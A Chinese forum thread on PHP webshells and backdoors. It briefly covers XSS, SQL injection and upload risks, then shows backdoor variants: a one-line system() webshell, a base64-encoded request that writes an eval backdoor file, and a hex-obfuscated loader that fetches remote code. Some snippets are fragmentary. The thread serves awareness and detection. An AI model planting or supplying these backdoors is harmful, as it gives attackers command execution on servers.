北京华育国际吧 关注:42贴子:500
  • 5回复贴,共1

PHP安全之webshell和后门检测

只看楼主收藏回复

PHP安全之webshell和后门检测


1楼2017-04-14 13:06回复
    基于PHP的应用面临着各种各样的攻击:
      XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点。攻击者可以利用它盗取用户信息。你可以配置Apache,或是写更安全的PHP代码(验证所有用户输入)来防范XSS攻击
      SQL注入:这是PHP应用中,数据库层的易受攻击点。防范方式同上。常用的方法是,使用mysql_real_escape_string()对参数进行转义,而后进行SQL查询。
      文件上传:它可以让访问者在服务器上放置(即上传)文件。这会造成例如,删除服务器文件、数据库,获取用户信息等一系列问题。你可以使用PHP来禁止文件上传,或编写更安全的代码(如检验用户输入,只允许上传png、gif这些图片格式)


    2楼2017-04-14 13:06
    回复
      一、各种webshell
        随着业务量的增大,越来越多的黑客来攻击扫描,网站安全性日益重要,一不留神就被黑客控制了服务器,最常见的方式就是通过POST请求来上传木马文件,从而达到可以执行任意命令,如果被控制就大事不妙了
        所以还是要正视服务器的安全
        最流行的一种后门叫做一句话木马,其形式如下所示:
      if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST["cmd"]);
        system($cmd);
        echo "
      $cmd";
        die;
        }
        ?>
        这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是最致命的


      4楼2017-04-14 13:07
      回复
        a、使用str_replace函数
        //说明:请求参数 ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
          最终执行命令
          //说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。


        5楼2017-04-14 13:07
        回复
          c、使用include函数
          //由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。


          6楼2017-04-14 13:07
          回复
            d、使用pack函数
            $_SESSION['api']=substr(file_get_contents(sprintf('%s? %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
              @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
              ?>


            7楼2017-04-14 13:07
            回复